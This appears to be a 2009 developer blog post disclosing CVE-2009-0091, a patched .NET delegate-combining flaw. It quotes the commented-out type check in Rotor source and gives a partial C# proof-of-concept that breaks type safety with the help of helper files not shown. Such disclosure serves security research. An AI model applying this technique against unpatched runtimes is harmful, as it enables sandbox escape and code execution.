# Tuesday, 27 October 2009
« IKVM 0.42 Release Candidate 2 | Main | New Development Snapshot »
MS09-061 Vulnerability Details

On "Patch Tuesday" two weeks ago Microsoft released security bulletin MS09-061. This bulletin describes three issues, one of which I reported to Microsoft on September 12, 2008. I will describe the details of what is now known as CVE-2009-0091. I have no inside knowledge of the other two vulnerabilities.

As mentioned in the original blog entry, I found the bug while browsing the Rotor sources. Here's the fragment that caught my eye:

    // This method will combine this delegate with the passed delegate
    // to form a new delegate.

    protected override sealed Delegate CombineImpl(Delegate follow)
    {
        // Verify that the types are the same...
        // Actually, we don't need to do this, because Delegate.Combine already checks this.
//      if (!InternalEqualTypes(this, follow)
//          throw new ArgumentException(...)

This is from multicastdelegate.cs (Warning: this link leads to Microsoft Shared Source licensed code).

The code that is commented out is a security check. After seeing this I immediately confirmed (using ildasm) that the, at that time current, production version of mscorlib also didn't include the check. I also checked .NET 1.1 and in that version the check is present. I also checked a pre-release version of Silverlight 2.0 and it also didn't include the check. The subsequent Silverlight 2.0 release on October 14, 2008 included the fix. Microsoft did not find it necessary to credit me with the fix (not even privately).

Why Is This a Security Vulnerability?

In my example type safety exploit, I used a union to bypass type safety. That wasn't an actual security vulnerability because such a union requires full trust. However, if we can combine two different delegate types we can do the same and because of the missing type check this was possible.

If you take TypeSafetyExploitPoC.cs and replace the TypeSystemHole method with the following and add a reference to an assembly containing CombinePoCHelper.il (written in MSIL because that is the easiest way to write your own MulticastDelegate subclass that can call the protected CombineImpl method).

delegate void AnotherDelegate(Union1 u2);

static Union1 TypeSystemHole(Union2 u2)
{
  Union1 u1 = null;
  CombineHelper del1 = delegate { };
  AnotherDelegate del2 = delegate(Union1 u) { u1 = u; };
  del1 = (CombineHelper)CombineHelper.CombineHack(del1, del2);
  del1(u2);
  return u1;
}

Voila!

Tuesday, 27 October 2009 08:17:15 (W. Europe Standard Time, UTC+01:00)  #    Comments [7]